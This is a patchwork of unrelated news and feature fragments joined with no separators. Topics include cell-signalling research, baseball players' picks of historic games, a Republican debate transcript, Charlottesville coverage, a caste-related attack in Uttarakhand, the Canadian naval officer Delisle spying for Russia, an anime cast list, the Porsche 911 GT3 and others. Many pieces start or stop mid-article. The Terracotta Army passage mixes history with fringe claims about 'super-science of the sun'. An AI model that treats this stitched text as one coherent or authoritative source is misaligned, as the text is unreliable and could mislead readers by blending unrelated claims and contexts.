“We are not saying that cells always use cytonemes for signaling,” Kornberg cautioned. “Hormones, for example, are another method of long distance cell signaling. A cell that takes up insulin does not care where that insulin came from – a pancreas or an intravenous injection. But there are signals of a specialized type, such as those that pass between stem cells and the cells around them, or signals that determine tissue growth, patterning and function, where the identity of the communicating cells must be precisely defined. It’s important that these signals are received in the context of the cells that are making them.”
Kornberg noted that other research teams have made observations that suggest that cytoneme-based signaling may also occur “between stem cells and the cells that instruct them on what they are going to do and where they are going to go.” Cancer cells may also use this method to communicate with their neighbors, he said.
The discovery of animal cell cytonemes and the critical role they play in long distance signaling “opens up a wonderful biology of which we have very little understanding at this point,” said Kornberg. “For example, how do these cytonemes find their targets? How do they know when they have found them? These are some of the questions that we are pursuing.”
Co-authors of the study are Sougata Roy, PhD, Hai Huang, PhD and Songmei Liu of UCSF.
The study was supported by funds from the National Institutes of Health (K99HL114867 and GM030637).
You can pick from any game from baseball history, any game at all. It can even be one you saw in person but would like to see again.
So what game would you choose? When I asked Don Mattingly this, his immediate response, naturally, was, "Can I change the outcome?"
No. That is the one stipulation of Turn Back the Clock Day. Rule 23.8 (d) clearly states that you cannot alter history in any way whatsoever. Violating this rule creates monstrous havoc with the space-time continuum, as evidenced by every single movie that involves time travel. Worse, it would require constant updates to baseball-reference.com.
While you mull over the possibilities, here are the choices of some major leaguers and other notables, such as actor Jon Hamm of "Mad Men" fame and Pearl Jam guitarist Mike McCready.
The game chosen most often was Jackie Robinson's major league debut in 1947 when he broke the color barrier. Pirates outfielder Andrew McCutchen and Anaheim reliever LaTroy Hawkins singled that one out, while Mets starter R.A. Dickey included it in a list of three games he'd want to see. Several ESPN.com writers picked it as well.
"It was a memorable moment; and as we know now, it was one of the greatest things that ever happened in professional sports," Hawkins said. "And I would have liked to be in the stands just to be a part of history."
This is who you'd see in the Dodgers' infield on April 15, 1947. From left: John Jorgernsen at third, Pee Wee Reese at short, Ed Stanky at second and Jackie Robinson at first. AP Photo
"I would like to be there just to see the good and the bad. To see what he had to overcome and what he had to deal with," McCutchen said. "It's crazy, because we don't know the half of what he had to do. He's definitely a person that I idolize, and that would be a game I'd like to see."
Along similar lines, Colorado outfielder Carlos Gonzalez said he would pick any of Roberto Clemente's games, probably from the 1971 World Series. "He's a guy that I would have loved to see play," Gonzalez said. "He is one of the guys who represents Latin American baseball I can see from the videos he was pretty amazing."
Of course, not all the games chosen in our survey are so historically or culturally significant.
"I would be interested in that 'record demolish game' where everyone was throwing records on the field," Yankees center fielder Curtis Granderson said. "I've seen highlights, but I would just like to know what happened."
Wait, you don't mean Disco Demolition Night at Comiskey Park, do you?
"Yeah, that would be a cool one to be a part of and I would definitely throw something on the field," Granderson said. "There would be arguments. 'We were up, we were winning. This would have happened, that wouldn't have happened.' I'd like to just see how things were then and how something like that couldn't happen now."
Look closely, and you'll see a "Disco Sucks" sign in the outfield. Unfortunately, White Sox fans demolished more than bad music on July 12, 1979. AP Photo/Fred Jewell
Seriously? From any game in major league history, Granderson chooses Disco Demolition Night? A promotion that resulted in a riot and a forfeit? Well, OK. But I guarantee no one else would ever choose that one.
"I'd probably pick that Disco Night or Night at the Disco whatever thing," Tampa Bay pitcher David Price said. "I'd like to be able to watch that. Not necessarily be on the field for it, but maybe in the upper deck with a pair of binoculars just to see everything going on. A lot of crazy stuff went on that night. They lit the field on fire. It was just nuts."
Sigh.
Fortunately. McCready expressed zero interest in Disco Demolition Night. Instead, he chose the game in which Lou Gehrig formally retired and called himself the luckiest man on the face of the earth.
"I would just like to go back and see baseball in the 1930s. Back when it was in its hey-day," McCready said. "It's still in its hey-day, but back when there was less light around it and just an organ. And no guys coming out with their guitars playing really loud."
Mariners broadcaster and former "Cheers" writer/co-producer Ken Levine opted for a game with a little less music as well.
JUAN GONZÁLEZ: We turn now to Saturday night’s Republican debate in Greenville, South Carolina. It was the ninth Republican debate of the election cycle. Donald Trump and Jeb Bush had a tense exchange over George Bush’s record in Iraq.
DONALD TRUMP: Obviously, the war in Iraq was a big, fat mistake. All right? Now, you can take it anywhere you want. It took Jeb—it took Jeb Bush, if you remember, at the beginning of his announcement, when he announced for president, took him five days. He went back. It was a mistake, it wasn’t a mistake. Took him five days before his people told him what to say. And he ultimately said it was a mistake. The war in Iraq, we spent $2 trillion, thousands of lives. We don’t even have it. Iran is taking over Iraq, with the second-largest oil reserves in the world. Obviously, it was a mistake.
JOHN DICKERSON: So—
DONALD TRUMP: George Bush made a mistake. We can make mistakes, but that one was a beauty. We should have never been in Iraq. We have destabilized the Middle East.
JEB BUSH: I’m sick and tired of Barack Obama blaming my brother for all of the problems that he’s had. And frankly, I could—I could care less about the insults that Donald Trump gives to me. It’s bloodsport for him. He enjoys it, and I’m glad he’s happy about it. But I am sick and tired—
DONALD TRUMP: He spent $22 million in ads against me.
JEB BUSH: I am sick and tired of him going after my family. My dad is the greatest man alive, in my mind. And while—while Donald Trump was building a reality TV show, my brother was building a security apparatus to keep us safe. And I’m proud of what he did. And he’s had the gall to go after my mother.
DONALD TRUMP: The World Trade Center came down during your brother’s reign. Remember that.
JEB BUSH: He’s had the gall to go after my mother.
AMY GOODMAN: That was Jeb Bush and Donald Trump going at it in the Greenville, South Carolina, Republican presidential primary debate. Senator Marco Rubio and Donald Trump also debated George W. Bush’s record on 9/11.
SEN. MARCO RUBIO: I just want to say, at least on behalf of me and my family, I thank God, all the time, that it was George W. Bush in the White House on 9/11, and not Al Gore.
DONALD TRUMP: How did he keep us safe, when the World Trade Center [inaudible]? The World—excuse me, I lost hundreds of friends. The World Trade Center came down during the reign of George Bush. He kept us safe? That’s not safe. That is not safe, Marco.
JOHN DICKERSON: All right. Marco?
DONALD TRUMP: That is not safe.
SEN. MARCO RUBIO: The World Trade Center came down because Bill Clinton didn’t kill Osama bin Laden when he had the chance to kill him.
AMY GOODMAN: That was Marco Rubio, Florida senator, presidential candidate.
We’re joined now by three guests: David Cay Johnston, Pulitzer Prize-winning investigative reporter, previously with The New York Times, currently a USA Today columnist and Syracuse Law lecturer, his latest book, Divided: The Perils of Our Growing Inequality; still with us, Professor Kimberlé Crenshaw of UCLA and Columbia University; and Scott Horton, human rights attorney, contributing editor at Harper’s Magazine, lectures at Columbia.
Well, why don’t we begin with David Cay Johnston? Your thoughts on this debate and Donald Trump really going at Jeb Bush on the issue of his brother, George W. Bush, saying he lied to get into the war in Iraq?
DAVID CAY JOHNSTON: Well, I think this was a very carefully picked audience that does not want to address the fundamental facts here. The Republicans have worked very hard to make it sound like George Bush didn’t mess up, when we were attacked, after he had been warned. And we recall George Bush later said, “What was I supposed to do?” because he had not a clue about what to do. So I think that what you were hearing from that crowd was attacking Trump for taking down one of the big myths, one of the big lies, that’s been sold among Republicans. And the notion that a President Donald Trump would respect the Constitution, I think we should wonder about—notice his use of the word George Bush’s “reign.” Presidents don’t reign.
JUAN GONZÁLEZ: And, David Cay Johnston, I’d like to ask you about the debates in general. Your sense of how these Republican candidates have dealt with the economic issues that you’ve written so much about?
The reality program, which focused on a group of Mormon men who say they've chosen to marry women despite being attracted to other men, didn't quite generate the scathing reviews that many might have hoped for.
Jeff and Tanya, one couple featured on the program, joined ABC News last week ahead of the Jan. 11 airing of "My Husband's Not Gay" to speak about the show. In the interview, Jeff defended his decision to be married to Tanya instead of another man using a bizarre -- and offensive -- analogy.
"I love doughnuts," Jeff explained. "I would eat doughnuts three times a day, but I desire to be able to fit in my pants in the morning, too."
He went on to note, "So you could say I am oriented toward doughnuts, and if I was being true to myself, I would eat donuts a lot more than I eat doughnuts ... [but] am I denying myself because I don't eat doughnuts as much as I might like to eat doughnuts? I'm not."
But the public will not soon forget Trump’s first utterance after the events of Saturday. The violence, he said, had come from “many sides.” In fact, the violence had been instigated not by many sides but by one: the extremist right, whose followers apparently include the twenty-year-old man charged with killing Heyer in an attack that injured nineteen others. A number of prominent Republicans spoke of the events in less equivocal terms; Senator Ted Cruz, of Texas, was among those who called the killing an act “of domestic terrorism.”
As the nation waited through the weekend for a further response from Trump, he found time, first, to attack Kenneth C. Frazier, the chief executive of Merck. Frazier, who is African-American, had just resigned from the President’s American Manufacturing Council, because, he said in a statement, “America’s leaders must honor our fundamental values by clearly rejecting expressions of hatred, bigotry and group supremacy.” In response, Trump tweeted that Frazier would now “have more time to LOWER RIPOFF DRUG PRICES!” (By the end of the day, Kevin Plank and Brian Krzanich, the C.E.O.s of Under Armour and Intel, respectively, had also quit the council.)
Trump’s emotions are unusually transparent, but, as he spoke on Monday morning, from the White House, he sounded like a hostage forced to read a message in a ransom video. This is hardly the first time that he has been hesitant to distance himself from right-wing extremists. During the campaign, for example, when David Duke, the former Grand Wizard of the Ku Klux Klan, endorsed him, he did not immediately repudiate Duke’s support. Eventually, following a barrage of criticism similar to the one that he received this past weekend, Trump issued a mild disavowal.
The origins of Trump’s support on the far right are examined in Joshua Green’s indispensable new book, “Devil’s Bargain: Steve Bannon, Donald Trump, and the Storming of the Presidency,” which illustrates how a failed business venture led to an insight that undergirded Trump’s Presidential bid. In 2005, Green writes, Bannon moved from Hollywood, where he was a modestly successful producer, to Hong Kong, where he proposed to capitalize on the popularity of the online video game World of Warcraft, which had ten million subscribers. In the game, players competed for virtual weapons, armor, and gold. Bannon hoped to profit from an arrangement that allowed players to pay real money to attain these virtual trophies—an idea that quickly collapsed.
In the process, however, Bannon discovered a universe of young men who spent their days in imaginary worlds behind their computer screens. They were literate, at least moderately well off, and manifestly alienated from the world around them. As Green recounts, Bannon saw that they represented a group that could be turned into a movement. “These guys, these rootless white males, had monster power,” Bannon told Green. Then, shortly after he returned from Hong Kong, Bannon took over the late Andrew Breitbart’s right-wing Web site. As Green writes, Bannon “envisioned a great fusion between the masses of alienated gamers, so powerful in the online world, and the right wing outsiders drawn to Breitbart by its radical politics and fuck-you attitude.” Breitbart News appealed to certain disaffected young men by building on their resentments—of African-Americans, of women, of Jews—and became, as Bannon proudly noted, the “platform of the alt-right.” More to the point, Breitbart also became an enthusiastic supporter of the Trump campaign and, later, the Trump Presidency.
Just as it was easy for Bannon to draw a line from the young males of the online-game world to the young males of the alt-right, it’s similarly straightforward to draw a line from the alt-right to the protesters in Charlottesville. Such people do not comprise the bulk of the President’s base, but they are a dedicated part of it, and he has shown great solicitude for their views. As if to demonstrate that fact, on Sunday, Trump told Fox News that he might pardon Joe Arpaio, the former sheriff of Maricopa County, Arizona, who was recently convicted of criminal contempt, and who has long been suspected of federal civil-rights violations.
An official from the temple trust, who was not named, told the paper that the Silgur devta temple in Pokhri village of the Jaunsar Bawar region in Dehradun will conduct a "long purification ritual" because it was supposedly defiled by the entry of Dalits.
Condemn the barbaric attack on @TarunVijay ji. You were fighting for a just cause & I support you on this unequivocally. Get well soon! — Ahmed Patel (@ahmedpatel) May 22, 2016
Dehradun: Uttarakhand CM Harish Rawat visits injured BJP MP Tarun Vijay at the hospital. pic.twitter.com/cNNdAwdnTT — ANI (@ANI_news) May 21, 2016
#WATCH Eyewitness from yesterday's incident (when Tarun Vijay was attacked) recounts experience to Uttarakhand CM.https://t.co/h1YRJ6v8aG — ANI (@ANI_news) May 21, 2016
"The dev doli of Silgur Devta that was brought after a gap of 36 years to our village was defiled. The devta is upset," the official told TOI. The paper also reported that the Dalits in the area have allegedly started fleeing from their homes fearing backlash from members of the upper castes.
Vijay, a Rajya Sabha member, was attacked by the mob and his car vandalized after he came out of a temple with Dalit leaders in Chakrata.
Although caste-based discrimination was outlawed in 1955, but deeply-entrenched prejudices still exist and people from lower castes still face injustices in many sectors. The polarisation is particularly evident in community places of worship.
The police team present at the spot rescued the Uttarakhand MP and the Dalit leaders who sustained minor injuries. Condemning the attack, Uttarakhand Chief Minister Harish Rawat ordered Garhwal Commissioner to look into the incident.
The league punted on the city long ago, choosing to put a new team in Houston, after it had awarded one to L.A. in principle, because there was a whole lot more cash to be made there from expansion fees. So, as teenagers say, 'Whatever.'
Harken back: In the spring of that year, the NFL had awarded, in principle, the 32nd franchise to Los Angeles. It had been four years since Georgia Frontiere took her Rams to St. Louis and Al Davis took his Raiders back to Oakland. In those four years, Los Angeles had wrinkled its collective brow and wondered whether losing Frontiere and Davis in one year was a bad thing, or if we had hit the jackpot.
We hadn't followed this closely, because the NFL has been pretty much dead to us, and most of Los Angeles, since Oct. 5, 1999. That's when the best efforts of Los Angeles businessmen — and we might put little quote marks around the words "best efforts" — were drowned by a Texas oil gusher.
We are told this is a good thing because, had there not been a labor settlement, fantasy league players would continue to throw themselves off tall buildings at an alarming rate. Now, sadly, it will be the spouses of fantasy league players who will be taking stairs to the rooftop.
The NFL will play games this fall, it was reported Monday.
Nevertheless, when an NFL team leaves a city there is always community hand-wringing. Two departures double the angst.
Soon, people with money and skill at putting big projects together were doing just that. Through the efforts of the likes of Michael Ovitz, Mayor Richard Riordan, Ron Burkle, Eli Broad and Ed Roski, the deal seemed done. NFL Commissioner Paul Tagliabue stood on the Coliseum steps, had his picture taken and said it would be so.
Then, in that expansion meeting in Atlanta in October 1999, a Texas oilman named Bob McNair offered the NFL a $700-million expansion fee — at least $200 million above Los Angeles' best offer.
Game over.
You can say all you want about those existing 31 NFL owners, but they all knew how to add, subtract and divide by 31. The 32nd NFL team became the Houston Texans and L.A. became a great NFL TV market.
Still is.
Which brings us to Monday, and the news that sent joy sweeping through the land. We will all have something to do again Sunday afternoons. Also Monday and Thursday nights. Give us the Jets and the Broncos on TV, plus two beers, and we are a happy country.
Interestingly, sprinkled about in this burst of NFL happiness is the opinion that this somehow means Los Angeles will get a team more quickly.
Part of that is that there are two viable stadium projects — Phil Anschutz downtown and Roski out in Grand Crossing (formerly the City of Industry) — sitting on drawing boards and allegedly ready to happen. More so, in the NFL agreement, some extra money has been set aside for loans to help build stadiums.
Golly, gee whiz. This could be it.
Or, taking the contrarian side, this could be yet another kick to L.A.'s groin.
Consider that this new agreement is designed, fairly quickly, to make everybody in the NFL happier and richer. Millionaire players become multimillionaire players. Billionaire owners are now being invited to lunch in Greece.
We have questions, all rhetorical.
•Does bloated contentment breed more change, more risk-taking?
•Do people with new cash in their already fat wallets quickly look for start-up ventures?
•Are owners who might have been down to their last half a billion (read Jacksonville and San Diego) as eager to fix things by moving to Los Angeles as they might have been before things got fixed; before they became newly enriched?
But despite the delight many felt at the Haas team's debut performance, Symonds has questioned if it is right that teams should be heading down the 'customer car' route.
"I think that the status of being a constructor is being gradually eroded," said Symonds. "And some would like it completely eroded.
"I think what Haas has done is good for him, but I don't know if that's the way F1 should be going.
"It is totally legal, but is it really what F1 wants? I'm not sure."
Listed parts
Haas has formed a close technical partnership with Ferrari, which as well as engines includes it buying as many Ferrari car components as are allowed under the 'listed parts' regulations.
Symonds thinks that expanding what teams are allowed to share could ultimately spell the demise of constructor teams.
"I think that when we had the listed parts, the original listed parts, it was quite pragmatic," he said.
"It allowed you to sell a few sensible things like transmissions that are high value, low performance impact. But it got whittled away, and some wanted it whittled even further.
"I would prefer F1 to have more of an emphasis on constructors."
CryWorks is a new VR focused entertainment launched with seed round funds led by Michael Bay’s 451 Media Group and who intend to deliver VR content to have customers “keep tuning back in”.
The VR talent migration within the entertainment industry, that feels to have been building ever since Oculus’ successful Kickstarter for the DK1, continues to gather momentum.
Cryworks is a new “immersive entertainment company” formed from talent mined from leading lights in the movie-making and VFX world. CEO Euan Macdonald hails from Lucasfilm/ILM, Pixar, Disney ImageMovers Digital and Electronic Arts with credits stretching from Star Wars to the Harry Potter movies.
Macdonald is joined at CryWorks by Co-founder and CTO Hans Uhlig, who brings expertise in technical filmmaking gained at ILM/Lucasfilm and CCO Kymber Lim, an award winning VFX producer who has worked at the likes of Psyop and Digital Domain.
Macdonald feels there’s still plenty for companies creating compelling content for the growing virtual reality user base.“Although there are a few high-quality VR content pieces to date, most of them have little incentive for the viewer to keep tuning back in”, Macdonald explained. “We see an opportunity to build the first VR broadcast network, partnering with other production companies and creating addictive, episodic experiences.”
A grad student at the School of Visual Arts and a Queens native, Wu is the founder of QNSMADE, a website that will highlight and explore the borough's identity through photographs and interviews with some of its 2.2 million occupants.
"I think that Queens hasn’t been represented because there are so many neighborhoods, and they're so widespread," said the 27-year-old, whose parents moved to Richmond Hill from India before she was born. She grew up in Flushing and now lives in Jamaica.
"I feel like Brooklyn has sort of gotten its visual identity, but how come Queens hasn’t?"
Wu, who has a background in graphic design, set out to change that with QNSMADE, which originated as a project for her entrepreneurial design class at SVA.
"I was just thinking, 'oh, let me try to interview people from Queens because I'm from here, and what does it really mean to be from this borough, growing up here all my life?'" she said.
The site, which launched a few weeks ago, currently features a series of vivid photographs of Queens residents that showcase the diversity of the borough.
Wu and friend Jaina Teeluck started visiting different neighborhoods — first Astoria and Long Island City, then Jackson Heights, Woodside and Elmhurst — where they approached people on the street and asked to take their pictures.
"I've been calling it as a joke, 'Humans of Queens,'" she said, referring to the ever-popular "Humans of New York," where photographer Brandon Stanton chronicles the city through portraits.
"I wanted to do a section where it was just very visual," she said.
Other sections of the site which are in the works will include a "resource" page, which will feature a directory of people and companies who are making and manufacturing things in Queens and a series of interviews with both Queens natives and transplants about their experiences living in the borough.
Wu said she's planning to launch a Kickstarter page to help fund the website and hopes to eventually make it a collaborative effort where others could add their own photos and interviews.
Sub-Lt. Jeffrey Paul Delisle, a 41-year-old intelligence officer with the Royal Canadian Navy, was in Halifax court where he pleaded guilty to a breach of trust charge and two counts of passing information to a foreign entity.
Delisle’s lawyer, Mike Taylor, told reporters that he and Delisle agreed that pleading guilty was the right thing to do.
“It’s not so much a matter of deciding whether or not he was guilty, it’s determining whether or not this was the right step to take — whether or not there was a good reason to go forward and defend the charges based on any options in terms of defences,” Taylor said outside court Wednesday. “There’s no good reason to simply put on a show for the public, to go through the motions, when in my estimation the outcome was clear. And Mr. Delisle was realistic about that and he didn’t see there was any sense in dragging it out, wasting the resources of everyone involved, to simply go through the motions.”
Taylor said that the information that was leaked never “jeopardized the lives or safety of any of the men and women operating with the Canadian Armed Forces.”
According to previously unpublished material from a bail hearing in April, Delisle admitted to authorities he sold Canadian secrets to Russia for about $3,000 per delivery.
Using a thumb drive, he would download intelligence from a system called the Stone Ghost computer, which contains information from the U.S., Britain, Australia, New Zealand and Canada. He would then hide the drive somewhere on his body when leaving the secure area and later pass it over to the Russians.
This started in July 2007, shortly after he says he offered his services to try to help support his family, even as his marriage was falling apart.
“That was the end of my days as Jeff Delisle,” he told authorities about walking into the Russian Embassy for the first time, according to the facts read out in court in April, which were under a publication ban until his guilty plea Wednesday.
“It was professional suicide,” he said.
The transactions continued until 2011 while he worked out of Ottawa and Kingston, Ont., and Halifax and Bedford, N.S.
Things began to go awry when he travelled to Brazil to hand over intelligence to a Russian handler.
He returned with more money than usual, but either he or the Russians were worried that Canadian authorities might have been onto him.
There was talk of setting Delisle up in a safehouse in Austria, but that never happened because he was arrested in January 2012.
The Russian foreign ministry denied media reports that four staff members of its embassy in Ottawa were expelled from Canada over the alleged espionage operation.
Delisle has been in custody since he was arrested in January.
Breach of trust is a Criminal Code offence that can carry a five-year sentence. Passing information is a violation of the Security of Information Act that could net the disgraced officer life in prison.
By pleading guilty, Delisle gave up his right to a trial. The move came as a surprise because Delisle had previously requested to be tried by judge and jury. His lawyer, Mike Taylor, wasn’t immediately available for comment.
Delisle is due back in court for a two-day sentencing hearing on Jan. 10, 2013.
— With files from Allen Rollin
SPY CASE TIMELINE
1971: Jeffrey Paul Delisle is born.
January 1996 – Joins the reserves as an intelligence operator; conducts intelligence gathering operations.
May 3, 1997 – Marries Jennifer Lee Janes
Feb. 17, 1998 – Files for bankruptcy.
March 2001 – Enrols as a regular member of the Canadian Forces.
November 2006 – Promoted to sergeant.
2007 – Starts a stint at the strategic joint staff division in Ottawa. According to material from a bail hearing, Delisle walked into the Russian embassy in Ottawa one day and offers to sell intelligence secrets.
July 6, 2007 – According to the RCMP, Delisle begins downloading intelligence from a system called the Stone Ghost — a computer system that shares information from the “five eyes” (United States, Britain, Australia, New Zealand and Canada) – and handing it over on a thumb drive to Russian agents. He’s paid about $3,000 per exchange.
June 2008 – Delisle and his wife sign a separation agreement, handing him much of the couple’s debt.
July 2008 – Receives a commission, becomes a naval officer.
2009 – According to court documents, Russian contacts tell Delisle to meet his handler in Brazil. Shortly after his return, military begins investigation.
Aug. 2011 – Joins HMCS Trinity, an intelligence facility at the naval dockyard in Halifax that tracks vessels in Canadian waters. The centre is a multinational base with access to secret data from NATO countries.
Dec. 2011 – Delisle’s house is raided.
Jan. 14-15, 2012 – Delisle is arrested and charged with breach of trust and communicating safeguarded information to a foreign entity without lawful authority.
April 2012 – Facts of the case are read into court record during a bail hearing, with a publication ban in place.
China’s 2,000-year-old Terracotta Army was one of the greatest archaeological discoveries of the 20th century (1974 actually). These world-famous Terracotta Warriors are part of a vast underground necropolis for China’s first Emperor, Qin Shi Huangdi, that took 700,000 workers 36 years to create.
Myth says that in 206BC the first Emperor of Unified China, Ch’in ShiHuangdi, decreed that after his death his body would be clothed in jade and cast adrift in a lake of Mercury. The lake, within a pyramid, was to be protected by an everlasting army. Like Tutankhamun, in Egypt, lord Pacal, in Mexico and the Viracochas’, of Peru Shi Huangdi taught the super-science of the sun and the higher orders of spirituality. They say that, after he died, he flew to the sun to live forever.In 1974, archaeologists actually discovered the first of more than 8,000 life-size terracotta warriors buried near the pyramid tomb of Ch’in Shi Huangdi, confirming that the legend was more than just a myth. But why were the massive soldiers, each weighing more than half a tone, buried there at all? Was it simply to guard the Emperor in the afterlife?Maybe one day we’ll get the answers to this questions.
The series will stream exclusively on Anime Strike, Amazon U.S.'s on-demand anime subscription service, as it airs in Japan. New episodes will be available for Anime Strike subscribers on Wednesdays beginning on April 5. The anime will also get a home video release.
The series will premiere in Japan on Tokyo MX on April 5 at 11:30 p.m., and it will also air on Kansai TV, BS11, and AT-X. The anime will have 24 episodes.
The website describes the anime's story:
Sagrada, a town where almost half the population possess special powers. The town's administration bureau provides oversight on those with powers, and its inhabitants mostly live in peace. These powers were brought by gentle and heartfelt wishes such as "being able to make the tears from the person in front of me disappear," or "to be heard by someone." Kei Asai has an eidetic memory, allowing him to perfectly remember anything he sees and hears, while Misora Haruki can turn back or "reset" time for a maximum of three days. While Misora forgets her memories of the future when she performs a "reset," Kei does not. Using their powers together, they are capable of changing the past to affect the present. But there is one part of their past that they cannot escape. Two years ago, due to a reset by Misora, their classmate Sumire Souma died. Now, as members of their school's "Service Club," Kei and Misora spend their days accomplishing various requests from their schoolmates while searching for any possible way they can bring back Sumire Souma. One day, they find a request waiting for them: "I'd like you to bring my dead cat back to life." To erase the sadness in their past, Kei and Misora run through time, and change the world.
The anime's cast includes:
Kaito Ishikawa as Kei Asai, a first-year student and member of the "Service Club." He has the ability to perfectly remember anything he sees or hears, and he is a quick thinker who is very resourceful.
Kana Hanazawa as Misora Haruki, a first-year student and member of the "Service Club" with Kei. She has the power to reset time for up to three days. She will do basically anything Kei says. She is also a quick thinker who is very resourceful.
Aoi Yūki as Sumire Souma, a girl like a stray cat who attended middle school with Kei and Misora. Kei and Misora once changed the future with a reset, and Sumire died when she would not have otherwise.
Takuya Eguchi as Tomoki Nakano, a first-year student and a classmate to both Kei and Misora. He has the power to reach a specific person through time and space with his voice. He's one of the few friends who understands Kei.
Yuki Yamada as Mirai Minami, a member of the "unidentified research club" and a classmate to Kei and Misora. She is bright and cheerful, and she is assertive about things she's interested in.
Yui Makino as Youka Murase, who is a year older than Kei. She consults with the "Service Club" about bringing her dead cat back to life.
Sachika Misawa as Seika Nonoo, a first-year student who goes to a different high school than Kei and Misora. She has the power of being able to share her consciousness with cats, and is able to understand the actions of the cats in Sagrada.
Yuka Aisaka as Eri Oka, Kei's underclassman in junior high. She is known for wearing red contacts, and having an ability connected to them. She has complicated mixed feelings of contempt and respect for Kei.
Kōtarō Nishiyama as Hitsuchi-kun, an information source. He hates meeting people directly, so the only way to contact him is by phone. He is cautious, so he uses a device to change his voice so that his true identity is not exposed.
Rikako Aida as Sawako Sera, a first-year student with Kei and Misora. She is an extremely serious girl who cannot stand to break rules.
Yūichi Iguchi as Yōsuka Sakagami, a former junior high school student council president. He goes to high school outside Sagrada. Around the winter of his third year in junior high, he left Sagrada. However, he returns to Sagrada due to a certain incident.
Sayaka Ohara as Witch, an old woman with a position near the top of the administration bureau. The administration bureau exists as a system to manage Sagrada. The Witch's individual characteristics such as her name are undisclosed, and she is imprisoned in a room that there is no escape from. She has the ability to see the future.
Yōji Ueda as Shintarō Tsushima, a teacher at Kei's high school and a member of the administration bureau. He works as the adviser for the "Service Club."
Some reasons are shallow, and some are more transcendent.
New Yorkers owe happy hour -- and all weeknight socializing, for that matter -- to the New York City Subway.
At six o'clock on an L.A. Wednesday, everyone runs to their cars and starts driving home. There is no spontaneous "let's grab drinks" or "wanna walk to the bookstore?" People know traffic is a giant monster waiting to devour them, and they want to get a leg up on him as soon as possible.
Even if we did decide to go to a bar in Los Angeles, it'd be at least a 20 minute drive away, because the city is huge and our friends work everywhere in it. Then street parking would be impossible to find. Then the meter wouldn't accept our credit card. Then we'd wait for our friends who were stuck in traffic, and we'd drink too many drinks, and we'd be too tipsy to drive home or anywhere else. But we wouldn't ride in cabs, because we wouldn't want to leave our cars behind.
In New York, though, I don't have to decline your last-minute cocktail offer. I've got nowhere to be after work and no Volkswagen holding me back. This city is compact, it's walkable, and it's our oyster. If we stroll too far while you tell me about your dog, or if we get carried away in the four-dollar wine bar, I know the New York City Subway will be there to catch me and deliver me safely home.
And when I'm on the New York City Subway, everyone will be together. For better or for worse, in sickness and in health.
In Los Angeles, you wake up and get ready for work. Then you walk downstairs alone, get in your car alone, and drive to work alone. Ryan Seacrest might be talking on the radio, but he doesn't count because his voice isn't a real human. Then you walk from the parking lot outside your office to your actual office. Then you walk back to the parking lot alone and drive home alone in miserable traffic, banging the steering wheel and sweating over how many hours of TV time you're losing, all while trapped in a little cube all alone.
The track was originally created as the theme song for the Hatsune Miku 10th Anniversary Magical Mirai 2017 event held at Makuharu Messe convention center Sept. 1-3.
"Dune feat. Hatsune Miku" became the fastest original Vocaloid video to reach a million views on the Japanese online video-sharing site Nico Nico Douga. Its interpretation sparked a heated debate among Vocaloid fans, and the buzz surrounding the video powered the song to No. 1 in Twitter mentions on the Billboard Japan chart for the week ending July 23, even before the release of the album it was on.
The song was performed at the Magical Mirai 2017 event, where a special exhibit of the song was held. The themed showcase featured a showing of the music video, display of the related artwork, a photo spot and official merchandise shop.
Kenshi Yonezu will release his fourth album, Bootleg, on Nov. 1, which will include a different version of "Dune."
Watch the "Dune feat. Hatsune Miku" music video:
With the seven-speed PDK gearbox and launch control, the new GT3 will hit 62mph from rest in 3.4sec and reach 199mph. The six-speed manual version is slower off the line, at 3.9sec to 62mph, but can hit 200mph.
Porsche has learned lessons from the 911 R that have helped to increase downforce on the new GT3 while reducing drag. An evolution of the R's underbody aero has been adapted for the GT3, while the fixed rear spoiler is mounted 20mm higher and 10mm further back to reduce drag and now works in partnership with the diffuser and underbody vortex generators. Preuninger claimed downforce at top speed is increased by 20% overall without any increase in drag - no mean feat, he said.
The adjustable PASM dampers now have a wider operating range, bushings have been stiffened for greater steering precision and the rear struts now feature weight-saving 'helper' springs.
As a result, Preuninger said the new car is both more comfortable on the road while even sharper on a circuit. This is important, because switching to the PDK ’box made the GT3 more attractive to a new range of customers who use their cars daily, not just as track day toys.
The interior gets the revised PCM infotainment system from the facelifted 911 range, complete with Connect Plus module and smartphone-ready Track Precision app to help you to analyse your circuit performance. There's also new scope to liven up the typically functional interior, including carbon-framed race seats and the option of a ‘3D’ colour-coded Alcantara stripe on the upholstery.
Weight-saving measures include reduced soundproofing. Adding structural reinforcement to the body-in-white meant weight had to be shaved off elsewhere to maintain the 1430kg kerb weight of the first-generation car. The manual version is 10kg lighter still. More weight loss can be achieved by opting for the PCCB carbon-ceramic brakes.
"The new 911 GT3 is built in the same factory as our GT3 Cup Cars," said Porsche chairman Oliver Blume. "Sometimes in a sanitised age, it offers a driving experience that is different and true Porsche. We have listened to our customers, which is why we will also offer the option of a six-speed manual, but the seven-speed PDK box is fitted as standard.
Reed, 44, proposed to Langford, 35, while vacationing in the Bahamas last weekend, officials said.
“I could not feel more blessed that she agreed to marry me, and we look forward to building a family together in the greatest city in America,” Reed said in a statement Monday morning. “I am honored to have our friends and family share this special moment with us and I ask that our privacy is respected as we celebrate this personal occasion.”
Reed’s announcement is a surprising departure from his typically quiet stance on personal matters. And it brings rare attention to his private life, which until now has largely been the grist of gossip blogs and watercooler chatter, yet is rarely discussed by the mainstream media.
Monday’s news comes after months of speculation that Reed, elected to his second term as mayor last fall, and Langford are expecting a child and planning to wed.
Langford is the daughter of two prominent Atlantans: former City Attorney Susan Pease Langford and the late State Sen. Arthur Langford, for whom several Atlanta landmarks are named.
A former Miss District of Columbia, Langford is also a graduate of the University of Michigan and Howard University School of Law, Reed’s alma mater.
She’s now employed by National Church Residences, a senior housing nonprofit, and through NCR has worked with the City of Atlanta on housing developments, according to documents obtained by The Atlanta Journal-Constitution through an open records request.
The nonprofit built Betmar Village, a senior apartment community near Lakewood Fairgrounds, with a $3.6 million tax-exempt bond in 2012 issued by Invest Atlanta — the city’s economic development arm. No city funds were involved in that deal, officials said, as the bonds are repaid by revenue from the project.
Attempts to reach Langford were unsuccessful Monday.
The study was conducted by researchers at the nonpartisan Tax Policy Center, a joint project of the Brookings Institution and the Urban Institute, who seem to bend over backward to be fair to the Republican presidential candidate. To cover the cost of his plan — which would reduce tax rates by 20 percent, repeal the estate tax and eliminate taxes on investment income for middle-class taxpayers — the researchers assume that Romney would go after breaks for the richest taxpayers first.
They even look at what would happen if Republicans’ dreams for tax reform came true and the proposal generated significant revenue through economic growth.
